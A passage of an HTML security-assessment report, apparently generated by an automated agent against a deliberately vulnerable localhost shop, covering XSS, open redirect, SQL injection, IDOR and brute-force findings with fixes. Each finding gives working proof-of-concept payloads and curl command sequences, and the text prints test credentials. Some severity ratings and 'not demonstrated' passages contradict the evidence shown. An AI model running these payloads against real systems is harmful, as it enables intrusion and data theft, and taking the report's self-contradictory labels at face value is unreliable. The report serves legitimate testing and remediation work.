?name= written to innerHTML on homepage</h3><table class=fieldgrid><tr><td class=fk>Criticality</td><td>Medium</td><td class=fk>Status</td><td><span style=color:#27ae60>confirmed</span></td></tr><tr><td class=fk>OWASP / CWE</td><td>A03:2021-Injection · CWE-79</td><td class=fk>Confidence</td><td>0/1 · conf 0.20</td></tr><tr><td class=fk>Location</td><td colspan=3>http://localhost:3000/?name=</td></tr><tr><td class=fk>Agent</td><td>xss_dom</td><td class=fk></td><td></td></tr></table><h4>Where the problem is</h4><p class=where>http://localhost:3000/?name= — GET / , query param `name`. app.js function renderGreeting(): source = new URLSearchParams(window.location.search).get("name"); sink = document.getElementById("greeting").innerHTML = "Welcome back, " + name + "! Check out today's deals."</p><h4>What it means</h4><p>Attacker-supplied JavaScript executes in the http://localhost:3000 origin for any victim who opens a crafted /?name=... link. Measured: onerror handler ran, read document.domain (localhost), and could set window state. Session cookie nimbus.sid is HttpOnly so document.cookie theft is blocked, but in-origin JS can still perform authenticated actions as the victim (call /api/* with their session), read/rewrite page DOM, and phish.
|
||||
|
||||
Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.</p><h4>How to fix it</h4><p>Do not build HTML from the parameter. Replace `el.innerHTML = "Welcome back, " + name + ...` with textContent: set a static text node and insert `name` via `el.textContent` / document.createTextNode, or HTML-encode `name` before insertion. Add a CSP that forbids inline event handlers (script-src without 'unsafe-inline') as defense in depth.</p><h4>Proof of concept — step by step</h4><ol class=steps><li><pre class=step>Baseline: curl -s 'http://localhost:3000/app.js' | grep -A3 innerHTML # shows el.innerHTML = "Welcome back, " + name</pre></li><li><pre class=step>Attack (browser required — sink is client-side): open http://localhost:3000/?name=%3Cimg%20src%3Dx%20onerror%3D%22alert(document.domain)%22%3E in Chromium</pre></li><li><pre class=step>Observe: alert box shows 'localhost' -> JS executed in origin http://localhost:3000</pre></li><li><pre class=step>Automated proof: NODE_PATH=/private/var/root/.npm/_npx/9833c18b2d85bc59/node_modules node /opt/neurosploit-rs/runs/ns-1789870577-localhost_3000/pocs/dom-xss-name.js # prints 'dialog fired with: localhost'</pre></li></ol><h4>Payload</h4><pre class=payload>http://localhost:3000/?name=%3Cimg%20src%3Dx%20onerror%3D%22alert(document.domain)%22%3E</pre><h4>Technical evidence</h4><pre>AGENT-RECORDED EVIDENCE
|
||||
app.js source: `var name = params.get("name"); if(name){ el.innerHTML = "Welcome back, " + name + "! ..."; }` — attacker string concatenated straight into innerHTML, no encoding/sanitization. Headless Chromium load of the payload URL: onerror handler executed — dialog fired with message "localhost", JS marker window.__NSXSS="localhost" set at runtime. Rendered DOM: `Welcome back, <img src="x" onerror="window.__NSXSS=document.domain;alert(document.domain)">! Check out today's deals.`</pre><h4>Proof screenshots</h4><div class=shots><figure class=shot><img src="evidence/domxss-name-innerhtml-1.png" alt="proof for DOM-based XSS via ?name= written to innerHTML on homepage"><figcaption>evidence/domxss-name-innerhtml-1.png</figcaption></figure></div><h4>Runnable script (extra)</h4><p class=hint>The steps above are the proof; this script automates them.</p><ul class=pocs><li><a href="pocs/dom-xss-name.js"><code>pocs/dom-xss-name.js</code></a></li></ul></section><section class=finding style=border-left-color:#f1c40f><h3><span class=sev style=background:#f1c40f>Medium</span> 9. Sensitive Configuration & API Key Exposure at GET /config.json</h3><table class=fieldgrid><tr><td class=fk>Criticality</td><td>Medium</td><td class=fk>Status</td><td><span style=color:#27ae60>confirmed</span></td></tr><tr><td class=fk>OWASP / CWE</td><td>A05:2021-Security-Misconfiguration · CWE-200</td><td class=fk>Confidence</td><td>0/1 · receipt_missing · conf 0.20</td></tr><tr><td class=fk>Location</td><td colspan=3>GET http://localhost:3000/config.json</td></tr><tr><td class=fk>Agent</td><td>login_sqli_bypass</td><td class=fk></td><td></td></tr></table><h4>Where the problem is</h4><p class=where>GET http://localhost:3000/config.json — Static file /config.json, JSON keys `supportApiKey` and `analyticsKey` served to any unauthenticated client.</p><h4>What it means</h4><p>Unauthenticated retrieval of a live-prefixed support API key (`nk_live_...`) and the flag confirming the leak. The key is a credential for the support API; disclosure allows impersonating the app to that service. (Key value masked in this report; full value stored in the run.)
|
||||
|
||||
Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.</p><h4>How to fix it</h4><p>Do not ship secrets in client-served static files. Move server-side secrets to environment/secret store; serve the client only non-sensitive public config. Rotate the exposed `supportApiKey` immediately.</p><h4>Proof of concept — step by step</h4><ol class=steps><li><pre class=step>curl -s http://localhost:3000/config.json # returns supportApiKey nk_live_... and flag BURPAT{api_key_leak_config_9d22dadf}</pre></li></ol><h4>Payload</h4><pre class=payload>GET /config.json</pre><h4>Technical evidence</h4><pre>AGENT-RECORDED EVIDENCE
|
||||
HTTP 200 body: {"apiBaseUrl":"https://api.nimbuscart.test/v2","env":"qa","analyticsKey":"UA-NIMBUS-00000","supportApiKey":"nk_live_51Hc9admin[REDACTED]_share","_flagIfLeaked":"BURPAT{api_key_leak_config_9d22dadf}"}. The bundle self-flags leakage.</pre></section><section class=finding style=border-left-color:#3498db><h3><span class=sev style=background:#3498db>Low</span> 10. GET /go?url= reflects an attacker-supplied external host into the 302 Location header with no allowlist <span class=sev style=background:#8e44ad>NEEDS REVIEW</span></h3><table class=fieldgrid><tr><td class=fk>Criticality</td><td>Low</td><td class=fk>Status</td><td><span style=color:#8e44ad>needs-review</span></td></tr><tr><td class=fk>OWASP / CWE</td><td>A01:2021-Broken-Access-Control · CWE-601</td><td class=fk>Confidence</td><td>0/1 · conf 0.05</td></tr><tr><td class=fk>Location</td><td colspan=3>http://localhost:3000/go</td></tr><tr><td class=fk>Agent</td><td>open_redirect</td><td class=fk></td><td></td></tr></table><div class=m style=color:#8e44ad>⚠ Needs human review — DOWNGRADE_UNPROVEN_IMPACT: the mechanic is demonstrated; the claimed impact is not, and is reported as potential</div><h4>Where the problem is</h4><p class=where>http://localhost:3000/go — GET /go, query parameter `url` (e.g. /go?url=https://evil.com)</p><h4>What it means</h4><p>Observed:
|
||||
- GET /go?url=https://evil.com -> HTTP 302, Location: https://evil.com [E01]
|
||||
- GET /go?url=//evil.com -> HTTP 302, Location: //evil.com [E02]
|
||||
- GET /go?url=/account -> HTTP 302, Location: http://localhost:3000/account (control, internal) [E03]
|
||||
|
||||
Not demonstrated: victim browser navigates to attacker host.
|
||||
|
||||
Potential impact: Phishing/credential theft and trust abuse; can be chained into OAuth redirect_uri theft if this endpoint is used as a return target.</p><h4>How to fix it</h4><p>Do not pass user input straight into Location. Restrict `url` to a server-side allowlist of permitted hosts, or accept only relative paths — reject any value starting with a scheme, `//`, `\`, or containing `@`/an external host. Redirect to a mapped internal key rather than a raw URL.</p><h4>Proof of concept — step by step</h4><ol class=steps><li><pre class=step>curl -s -i 'http://localhost:3000/go?url=/account' # baseline: internal 302 to /account</pre></li><li><pre class=step>curl -s -i 'http://localhost:3000/go?url=https://evil.com' # attack: read the Location header</pre></li><li><pre class=step>Observe: HTTP/1.1 302 Found and Location: https://evil.com (external host)</pre></li><li><pre class=step>curl -s -i 'http://localhost:3000/go?url=//evil.com' # protocol-relative variant also works</pre></li></ol><h4>Payload</h4><pre class=payload>url=https://evil.com (also url=//evil.com)</pre><h4>Technical evidence</h4><pre>AGENT-RECORDED EVIDENCE
|
||||
Request: GET /go?url=https://evil.com -> HTTP/1.1 302 Found; Location: https://evil.com; body 'Found. Redirecting to https://evil.com'. Protocol-relative variant GET /go?url=//evil.com -> 302; Location: //evil.com (curl-resolved http://evil.com/). Control GET /go?url=/account -> 302 Location http://localhost:3000/account (stays internal), proving the param drives the destination with no host allowlist. PoC: pocs/open_redirect_go.sh</pre><h4>Runnable script (extra)</h4><p class=hint>The steps above are the proof; this script automates them.</p><ul class=pocs><li><a href="pocs/open_redirect_go.sh"><code>pocs/open_redirect_go.sh</code></a></li></ul></section><section class=finding style=border-left-color:#3498db><h3><span class=sev style=background:#3498db>Low</span> 11. POST /login redirects a successfully-authenticated user to the `next` value; the absolute-URL filter is… <span class=sev style=background:#8e44ad>NEEDS REVIEW</span></h3><table class=fieldgrid><tr><td class=fk>Criticality</td><td>Low</td><td class=fk>Status</td><td><span style=color:#8e44ad>needs-review</span></td></tr><tr><td class=fk>OWASP / CWE</td><td>A01:2021-Broken-Access-Control · CWE-601</td><td class=fk>Confidence</td><td>0/1 · conf 0.05</td></tr><tr><td class=fk>Location</td><td colspan=3>http://localhost:3000/login</td></tr><tr><td class=fk>Agent</td><td>open_redirect</td><td class=fk></td><td></td></tr></table><div class=m style=color:#8e44ad>⚠ Needs human review — DOWNGRADE_UNPROVEN_IMPACT: the mechanic is demonstrated; the claimed impact is not, and is reported as potential</div><h4>Where the problem is</h4><p class=where>http://localhost:3000/login — POST /login, hidden form field `next` (rendered as <input type=hidden name=next>); value //evil.com</p><h4>What it means</h4><p>Observed:
|
||||
- POST /login next=//evil.com (valid creds) -> HTTP 302, Location: //evil.com [E01]
|
||||
- POST /login next=https://evil.com (valid creds) -> HTTP 302, Location: http://localhost:3000/account (filtered control) [E02]
|
||||
- POST /login next=//evil.com repeated -> HTTP 302, Location http://evil.com/ [E03]
|
||||
|
||||
Not demonstrated: victim browser navigates to attacker host after login.
|
||||
|
||||
Potential impact: Post-authentication phishing and trust abuse; higher value than /go because the victim has just proven they trust the site by logging in.</p><h4>How to fix it</h4><p>Apply the same allowlist/relative-only rule to `next` as to /go. Reject values beginning with `//`, `\`, a scheme, or containing `@`; the existing check only blocks `scheme://`. Prefer resolving `next` against the app origin and confirming the resulting host equals the app host before redirecting.</p><h4>Proof of concept — step by step</h4><ol class=steps><li><pre class=step>curl -s -o /dev/null -A NeuroSploit http://localhost:3000/register --data-urlencode 'username=nrsplt_t' --data-urlencode 'email=nrsplt_t@example.test' --data-urlencode 'password=Nrsplt!123' # create test user</pre></li><li><pre class=step>curl -s -i 'http://localhost:3000/login' --data-urlencode 'username=nrsplt_t' --data-urlencode 'password=Nrsplt!123' --data-urlencode 'next=https://evil.com' # control: filtered -> Location /account</pre></li><li><pre class=step>curl -s -i 'http://localhost:3000/login' --data-urlencode 'username=nrsplt_t' --data-urlencode 'password=Nrsplt!123' --data-urlencode 'next=//evil.com' # attack: read Location header</pre></li><li><pre class=step>Observe: HTTP/1.1 302 Found and Location: //evil.com (external host)</pre></li></ol><h4>Payload</h4><pre class=payload>username=<valid>&password=<valid>&next=//evil.com</pre><h4>Technical evidence</h4><pre>AGENT-RECORDED EVIDENCE
|
||||
After a SUCCESSFUL login the server 302s to `next`. Absolute next=https://evil.com is filtered -> 302 Location http://localhost:3000/account. Protocol-relative next=//evil.com BYPASSES the filter -> HTTP/1.1 302 Found; Location: //evil.com (curl-resolved http://evil.com/). Reproduced twice. PoC: pocs/open_redirect_login_next.sh</pre><h4>Runnable script (extra)</h4><p class=hint>The steps above are the proof; this script automates them.</p><ul class=pocs><li><a href="pocs/open_redirect_login_next.sh"><code>pocs/open_redirect_login_next.sh</code></a></li></ul></section><section class=finding style=border-left-color:#3498db><h3><span class=sev style=background:#3498db>Low</span> 12. BOLA + excessive data exposure: customer JWT dumps any user's full record (plaintext password, apiKey) at GET… <span class=sev style=background:#8e44ad>NEEDS REVIEW</span></h3><table class=fieldgrid><tr><td class=fk>Criticality</td><td>Low</td><td class=fk>Status</td><td><span style=color:#8e44ad>needs-review</span></td></tr><tr><td class=fk>OWASP / CWE</td><td>A01:2021-Broken-Access-Control · CWE-639</td><td class=fk>Confidence</td><td>0/1 · conf 0.05</td></tr><tr><td class=fk>Location</td><td colspan=3>http://localhost:3000/api/v2/users/1</td></tr><tr><td class=fk>Agent</td><td>idor</td><td class=fk></td><td></td></tr></table><div class=m style=color:#8e44ad>⚠ Needs human review — DOWNGRADE_SCOPE_LIMITATION: the impact needs authenticated_session which this assessment could not reach; the mechanic stands · missing: an access-control claim needs the same resource requested as another identity</div><h4>Where the problem is</h4><p class=where>http://localhost:3000/api/v2/users/1 — GET /api/v2/users/:id — numeric :id. Valid Bearer JWT required, but no ownership/role check, and the response serializes the entire user row (password, apiKey, role, balance).</p><h4>What it means</h4><p>Observed:
|
||||
- No token -> 401. With customer id40's JWT: GET /api/v2/users/1 -> 200 {"id":1,"username":"admin","email":"admin@nimbuscart.test","password":"SuperSecretAdmin!2024","role":"admin","balance":500000,"apiKey":"nk_live_51Hc9adminSECRETkeydonot_share","_flag":"BURPAT{api_excessive_data_users_17874d4a}"}. /users/2 -> alice (admin, password 'alice123', apiKey nk_live_alice_8f2c1a4b); /users/3 -> bob. Attacker is a plain customer (id40). [E01]
|
||||
|
||||
Not demonstrated: Measured: a plain-customer token read the admin account's full row — plaintext password 'SuperSecretAdmin!2024', live apiKey 'nk_live_51Hc9adminSECRETkeydonot_share', role=admin, balance 500000 — plus the same for alice (admin) and bob. This is full account takeover of every user, including admins, by ID enumeration (ids sequential from 1). Vertical privilege escalation is directly achievable with the leaked admin credentials.
|
||||
|
||||
Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.
|
||||
The assessment could not verify authenticated session — so this remains a potential impact rather than a demonstrated one.
|
||||
|
||||
Potential impact: Measured: a plain-customer token read the admin account's full row — plaintext password 'SuperSecretAdmin!2024', live apiKey 'nk_live_51Hc9adminSECRETkeydonot_share', role=admin, balance 500000 — plus the same for alice (admin) and bob. This is full account takeover of every user, including admins, by ID enumeration (ids sequential from 1). Vertical privilege escalation is directly achievable with the leaked admin credentials.
|
||||
|
||||
Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.</p><h4>How to fix it</h4><p>Enforce object-level authorization (id === token id, or admin) on /api/v2/users/:id, and use a strict output DTO that never serializes password/apiKey. Store passwords hashed (bcrypt/argon2), never plaintext; rotate the exposed admin password and API keys.</p><h4>Proof of concept — step by step</h4><ol class=steps><li><pre class=step>curl -s -c a.jar --data-urlencode 'username=poc3' --data-urlencode 'email=poc3@example.test' --data-urlencode 'password=Pw_3!aa' http://localhost:3000/register</pre></li><li><pre class=step>T=$(curl -s -b a.jar http://localhost:3000/account/api-token | grep -oE 'eyJ[A-Za-z0-9_.-]+')</pre></li><li><pre class=step># control: curl -s -o /dev/null -w '%{http_code}' http://localhost:3000/api/v2/users/1 -> 401</pre></li><li><pre class=step>curl -s -H "Authorization: Bearer $T" http://localhost:3000/api/v2/users/1</pre></li><li><pre class=step># observe admin's plaintext password + apiKey returned to a customer token</pre></li></ol><h4>Payload</h4><pre class=payload>GET /api/v2/users/1 (admin) with a low-privilege customer's Bearer JWT</pre><h4>Technical evidence</h4><pre>AGENT-RECORDED EVIDENCE
|
||||
No token -> 401. With customer id40's JWT: GET /api/v2/users/1 -> 200 {"id":1,"username":"admin","email":"admin@nimbuscart.test","password":"SuperSecretAdmin!2024","role":"admin","balance":500000,"apiKey":"nk_live_51Hc9adminSECRETkeydonot_share","_flag":"BURPAT{api_excessive_data_users_17874d4a}"}. /users/2 -> alice (admin, password 'alice123', apiKey nk_live_alice_8f2c1a4b); /users/3 -> bob. Attacker is a plain customer (id40).</pre></section><section class=finding style=border-left-color:#3498db><h3><span class=sev style=background:#3498db>Low</span> 13. POST /login accepted 25 failed attempts for one user with no 429, no Retry-After, no RateLimit-* header and… <span class=sev style=background:#8e44ad>NEEDS REVIEW</span></h3><table class=fieldgrid><tr><td class=fk>Criticality</td><td>Low</td><td class=fk>Status</td><td><span style=color:#8e44ad>needs-review</span></td></tr><tr><td class=fk>OWASP / CWE</td><td>A07:2021-Auth-Failures · CWE-307</td><td class=fk>Confidence</td><td>0/1 · conf 0.05</td></tr><tr><td class=fk>Location</td><td colspan=3>http://localhost:3000/login</td></tr><tr><td class=fk>Agent</td><td>account_registration_and_forms</td><td class=fk></td><td></td></tr></table><div class=m style=color:#8e44ad>⚠ Needs human review — DOWNGRADE_SCOPE_LIMITATION: the impact needs command_output_observed which this assessment could not reach; the mechanic stands · missing: the difference was observed 0 time(s); this class needs it to reproduce</div><h4>Where the problem is</h4><p class=where>http://localhost:3000/login — POST /login, repeated failed attempts for a single `username` — response never throttles</p><h4>What it means</h4><p>Observed:
|
||||
- POST /login wrong pass -> 302 /login?err=...no lockout enforced [E01]
|
||||
- 25 consecutive failed POSTs -> all 302, 429 count = 0, no Retry-After/RateLimit headers [E02]
|
||||
- POST /login correct pass -> 302 /account (failures are genuine) [E03]
|
||||
|
||||
Not demonstrated: credential brute-force / password spraying.
|
||||
The assessment could not verify command output observed — so this remains a potential impact rather than a demonstrated one.
|
||||
|
||||
Potential impact: Absent throttling permits offline-speed online guessing; combined with a weak password an account could be taken over.</p><h4>How to fix it</h4><p>Add per-account and per-IP throttling with exponential backoff and temporary lockout on POST /login (e.g. express-rate-limit + failed-attempt counter); return 429 with Retry-After when exceeded.</p><h4>Proof of concept — step by step</h4><ol class=steps><li><pre class=step>for i in $(seq 1 25); do curl -s -o /dev/null -w '%{http_code} ' --data-urlencode 'username=nrsplt_5e5001b1' --data-urlencode "password=wrong$i" http://localhost:3000/login; done</pre></li><li><pre class=step># observe: all 302, no 429</pre></li><li><pre class=step>curl -s -D- -o /dev/null --data-urlencode 'username=nrsplt_5e5001b1' --data-urlencode 'password=x' http://localhost:3000/login | grep -iE 'ratelimit|retry-after|location'</pre></li><li><pre class=step># baseline success: curl -s -D- -o /dev/null --data-urlencode 'username=nrsplt_5e5001b1' --data-urlencode 'password=NrSplt!d4e885Aa9' http://localhost:3000/login | grep -i location # -> /account</pre></li></ol><h4>Payload</h4><pre class=payload>username=nrsplt_5e5001b1&password=wrong1 ... wrong25 (25 consecutive failures)</pre><h4>Technical evidence</h4><pre>AGENT-RECORDED EVIDENCE
|
||||
25 consecutive wrong-password POSTs all returned HTTP 302 -> Location: /login?err=Invalid%20credentials%20(attempt%20%231%2C%20no%20lockout%20enforced). Zero 429 responses, no Retry-After, no RateLimit-* headers, no lockout. Server's own error string states 'no lockout enforced'. Good password still returns 302 -> /account, so failures are genuine rejections.</pre></section><section class=finding style=border-left-color:#7f8c8d><h3><span class=sev style=background:#7f8c8d>Info</span> 14. The maxPrice value is concatenated into a backend SQL WHERE clause; an injected boolean expression is… <span class=sev style=background:#8e44ad>NEEDS REVIEW</span></h3><table class=fieldgrid><tr><td class=fk>Criticality</td><td>Info</td><td class=fk>Status</td><td><span style=color:#8e44ad>needs-review</span></td></tr><tr><td class=fk>OWASP / CWE</td><td>A03:2021-Injection · CWE-89</td><td class=fk>Confidence</td><td>0/1 · refute 1/2 · conf 0.05</td></tr><tr><td class=fk>Location</td><td colspan=3>http://localhost:3000/shop/filter</td></tr><tr><td class=fk>Agent</td><td>sqli_blind</td><td class=fk></td><td></td></tr></table><div class=m style=color:#8e44ad>⚠ Needs human review — DOWNGRADE_UNPROVEN_IMPACT: the mechanic is demonstrated; the claimed impact is not, and is reported as potential · missing: no baseline was captured, so no difference can be attributed to the payload; the difference was observed 0 time(s); this class needs it to reproduce</div><h4>Where the problem is</h4><p class=where>http://localhost:3000/shop/filter — GET /shop/filter, query parameter `maxPrice` — value concatenated into the WHERE clause of the product-price SQL query</p><h4>What it means</h4><p>Observed:
|
||||
- GET /shop/filter?maxPrice=1000 -> HTTP 200, 5 products, body len 1580 [E01]
|
||||
- GET /shop/filter?maxPrice=1000 AND 1=1 -> HTTP 200, 5 products, len 1588 [E02]
|
||||
- GET /shop/filter?maxPrice=1000 AND 1=2 -> HTTP 200, 0 products, len 1209 [E03]
|
||||
- '1'='1' -> 5 products ; '1'='2' -> 0 products (string context) [E04]
|
||||
- 'a'||'b'='ab' -> 5 ; 0x10>1 -> 5 ; 1e3>1 -> 5 ; TRUE -> 5 (SQL dialect confirmation) [E05]
|
||||
- oracle reproduced 3/3: TRUE=5 products, FALSE=0 products [E06]
|
||||
- pocs/blind_sqli_maxprice.sh executed: TRUE=5 FALSE=0 across 3 runs [E08]
|
||||
|
||||
Not demonstrated: Stored database contents can be extracted via the boolean oracle.
|
||||
|
||||
Potential impact: If the identifier/keyword denylist is bypassed (blocklists commonly are), the confirmed boolean oracle enables full char-by-char extraction of arbitrary tables (user credentials, PII) and authentication-context manipulation. Not demonstrated here — every extraction vector attempted was blocked (E07).</p><h4>How to fix it</h4><p>Replace string concatenation with a parameterised/prepared query for the maxPrice filter (bind maxPrice as a numeric parameter, e.g. `WHERE price <= ?`), and reject non-numeric maxPrice input server-side with a numeric cast/validation. Do not rely on the keyword denylist as the control — it is a blocklist and is bypassable.</p><h4>Proof of concept — step by step</h4><ol class=steps><li><pre class=step>curl -s 'http://localhost:3000/shop/filter?maxPrice=1000' | grep -c 'class="product"' # baseline => 5</pre></li><li><pre class=step>curl -s 'http://localhost:3000/shop/filter?maxPrice=1000%20AND%201=1' | grep -c 'class="product"' # TRUE => 5</pre></li><li><pre class=step>curl -s 'http://localhost:3000/shop/filter?maxPrice=1000%20AND%201=2' | grep -c 'class="product"' # FALSE => 0</pre></li><li><pre class=step>curl -s "http://localhost:3000/shop/filter?maxPrice=1000%20AND%20'1'='1'" | grep -c 'class="product"' # TRUE => 5</pre></li><li><pre class=step>curl -s "http://localhost:3000/shop/filter?maxPrice=1000%20AND%20'a'||'b'='ab'" | grep -c 'class="product"' # SQL concat TRUE => 5</pre></li><li><pre class=step>Read result: 5 product blocks = condition TRUE, 0 = condition FALSE. The only variable between the two attack requests is the boolean, proving the SQL engine evaluates injected input.</pre></li><li><pre class=step>bash /opt/neurosploit-rs/runs/ns-1789870577-localhost_3000/pocs/blind_sqli_maxprice.sh</pre></li></ol><h4>Payload</h4><pre class=payload>maxPrice=1000 AND 1=1 (TRUE -> 5 products) vs maxPrice=1000 AND 1=2 (FALSE -> 0 products)</pre><h4>Technical evidence</h4><pre>AGENT-RECORDED EVIDENCE
|
||||
Baseline GET /shop/filter?maxPrice=1000 -> HTTP 200, 5 `class="product"` blocks (len 1580). Attack ?maxPrice=1000 AND 1=2 -> HTTP 200, 0 products (len 1209). ?maxPrice=1000 AND 1=1 -> 5 products. String context identical: '1'='1' -> 5, '1'='2' -> 0. Backend is SQL (SQLite/PG dialect): 'a'||'b'='ab' -> 5 (SQL string concat), 0x10>1 -> 5 (hex literal), 1e3>1 -> 5 (sci notation), TRUE -> 5, chained 2>1 AND 3>2 -> 5 — operator precedence and literal typing match a real SQL engine, not app string-matching. Oracle reproducible 3/3 (TRUE=5, FALSE=0). DATA EXTRACTION NOT ACHIEVED: an identifier/keyword denylist returns 0 rows for any of SELECT, FROM, UNION, VALUES, EXISTS, IS/NULL, LIKE/GLOB/BETWEEN/IN, CASE/CAST and every function call (substr/length/hex/abs/typeof -> 0) and bare column references (name/price/id/rowid -> 0), so no stored value could be read char-by-char in testing. PoC: pocs/blind_sqli_maxprice.sh</pre><h4>Runnable script (extra)</h4><p class=hint>The steps above are the proof; this script automates them.</p><ul class=pocs><li><a href="pocs/blind_sqli_maxprice.sh"><code>pocs/blind_sqli_maxprice.sh</code></a></li></ul></section><section class=finding style=border-left-color:#7f8c8d><h3><span class=sev style=background:#7f8c8d>Info</span> 15. IDOR: any authenticated user reads any customer invoice at GET /account/invoice/:id <span class=sev style=background:#8e44ad>NEEDS REVIEW</span></h3><table class=fieldgrid><tr><td class=fk>Criticality</td><td>Info</td><td class=fk>Status</td><td><span style=color:#8e44ad>needs-review</span></td></tr><tr><td class=fk>OWASP / CWE</td><td>A01:2021-Broken-Access-Control · CWE-639</td><td class=fk>Confidence</td><td>0/1 · conf 0.05</td></tr><tr><td class=fk>Location</td><td colspan=3>http://localhost:3000/account/invoice/1001</td></tr><tr><td class=fk>Agent</td><td>idor</td><td class=fk></td><td></td></tr></table><div class=m style=color:#8e44ad>⚠ Needs human review — DOWNGRADE_UNPROVEN_IMPACT: the mechanic is demonstrated; the claimed impact is not, and is reported as potential · missing: an access-control claim needs the same resource requested as another identity</div><h4>Where the problem is</h4><p class=where>http://localhost:3000/account/invoice/1001 — GET /account/invoice/:id — the numeric :id path segment. No per-object ownership check; a logged-in session for any user returns the invoice regardless of owner.</p><h4>What it means</h4><p>Observed:
|
||||
- Baseline: GET /account/invoice/1 -> 404 'Invoice not found'. Attack as user A (nrsplt_a_14209, id40, who owns NO orders): GET /account/invoice/1001 -> HTTP 200 body: '<h1>Invoice #1001</h1> ... <p>Customer: alice</p> <p>Total: $29.99</p> <p>Notes: Standard shipping.</p>' plus app self-attestation 'IDOR confirmed: viewing another customer's invoice (owner: alice) ... Flag: BURPAT{web_idor_invoice_aa8eeaa3}'. Same request as user B (id41) -> 200 identical alice data. Without any cookie -> 302 (redirect to login), so authentication is required but object-level authorization is absent. Reproduced 200 across A and B sessions. [E01]
|
||||
|
||||
Not demonstrated: Measured: a freshly-registered customer (id40) with zero orders retrieved invoice #1001 in full — another customer's name (alice), order total ($29.99) and shipping notes. IDs are sequential from 1001 (1001=alice, 1002=bob, 1003=user4), so all customer invoices are enumerable and readable by any authenticated user.
|
||||
|
||||
Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.
|
||||
|
||||
Potential impact: Measured: a freshly-registered customer (id40) with zero orders retrieved invoice #1001 in full — another customer's name (alice), order total ($29.99) and shipping notes. IDs are sequential from 1001 (1001=alice, 1002=bob, 1003=user4), so all customer invoices are enumerable and readable by any authenticated user.
|
||||
|
||||
Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.</p><h4>How to fix it</h4><p>In the /account/invoice/:id handler, load the invoice/order and verify order.userId === req.session.userId (or the caller is an admin) before rendering; return 404/403 otherwise. Do not rely on an unguessable id — enforce a server-side ownership check.</p><h4>Proof of concept — step by step</h4><ol class=steps><li><pre class=step>curl -s -c a.jar --data-urlencode 'username=poc1' --data-urlencode 'email=poc1@example.test' --data-urlencode 'password=Pw_1!aa' http://localhost:3000/register</pre></li><li><pre class=step># attacker account owns no orders; now read another customer's invoice:</pre></li><li><pre class=step>curl -s -b a.jar http://localhost:3000/account/invoice/1001</pre></li><li><pre class=step># observe: HTTP 200, 'Customer: alice', Total $29.99 — data belonging to userId 2 (alice), not the attacker</pre></li><li><pre class=step># control: curl -s -o /dev/null -w '%{http_code}' http://localhost:3000/account/invoice/1001 -> 302 (auth required, but no owner check once authed)</pre></li></ol><h4>Payload</h4><pre class=payload>GET /account/invoice/1001 with the session cookie of a different user (id 40 / id 41)</pre><h4>Technical evidence</h4><pre>AGENT-RECORDED EVIDENCE
|
||||
Baseline: GET /account/invoice/1 -> 404 'Invoice not found'. Attack as user A (nrsplt_a_14209, id40, who owns NO orders): GET /account/invoice/1001 -> HTTP 200 body: '<h1>Invoice #1001</h1> ... <p>Customer: alice</p> <p>Total: $29.99</p> <p>Notes: Standard shipping.</p>' plus app self-attestation 'IDOR confirmed: viewing another customer's invoice (owner: alice) ... Flag: BURPAT{web_idor_invoice_aa8eeaa3}'. Same request as user B (id41) -> 200 identical alice data. Without any cookie -> 302 (redirect to login), so authentication is required but object-level authorization is absent. Reproduced 200 across A and B sessions.</pre><h4>Proof screenshots</h4><div class=shots><figure class=shot><img src="evidence/idor-01-1.png" alt="proof for IDOR: any authenticated user reads any customer invoice at GET /account/invoice/:id"><figcaption>evidence/idor-01-1.png</figcaption></figure></div></section><section class=finding style=border-left-color:#7f8c8d><h3><span class=sev style=background:#7f8c8d>Info</span> 16. BOLA: JWT holder reads any user's order at GET /api/v2/orders/:id <span class=sev style=background:#8e44ad>NEEDS REVIEW</span></h3><table class=fieldgrid><tr><td class=fk>Criticality</td><td>Info</td><td class=fk>Status</td><td><span style=color:#8e44ad>needs-review</span></td></tr><tr><td class=fk>OWASP / CWE</td><td>A01:2021-Broken-Access-Control · CWE-639</td><td class=fk>Confidence</td><td>0/1 · conf 0.05</td></tr><tr><td class=fk>Location</td><td colspan=3>http://localhost:3000/api/v2/orders/1001</td></tr><tr><td class=fk>Agent</td><td>idor</td><td class=fk></td><td></td></tr></table><div class=m style=color:#8e44ad>⚠ Needs human review — DOWNGRADE_UNPROVEN_IMPACT: the mechanic is demonstrated; the claimed impact is not, and is reported as potential · missing: an access-control claim needs the same resource requested as another identity</div><h4>Where the problem is</h4><p class=where>http://localhost:3000/api/v2/orders/1001 — GET /api/v2/orders/:id — numeric :id. Requires a valid Bearer JWT (from /account/api-token) but performs no check that order.userId matches the token's id.</p><h4>What it means</h4><p>Observed:
|
||||
- No token -> HTTP 401 {"error":"missing bearer token"}. With customer id40's JWT: GET /api/v2/orders/1001 -> 200 {"id":1001,"userId":2,...,"total":29.99,"invoiceNotes":"Standard shipping.","_flag":"BURPAT{api_bola_orders_d7db9dc8}"}; /1002 -> userId 3 total 89.99 'Gift wrap requested.'; /1003 -> userId 4 total 349 'internal note: VIP customer, unlimited return window.' Attacker (id40) owns none of these. Reproduced 200 twice on /1001. [E01]
|
||||
|
||||
Not demonstrated: Measured: customer id40 read orders belonging to userId 2, 3 and 4 — each order's line items, totals and free-text invoice notes (including an 'internal note: VIP customer, unlimited return window'). Order IDs are sequential from 1001, so the full order table is enumerable via one customer token.
|
||||
|
||||
Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.
|
||||
|
||||
Potential impact: Measured: customer id40 read orders belonging to userId 2, 3 and 4 — each order's line items, totals and free-text invoice notes (including an 'internal note: VIP customer, unlimited return window'). Order IDs are sequential from 1001, so the full order table is enumerable via one customer token.
|
||||
|
||||
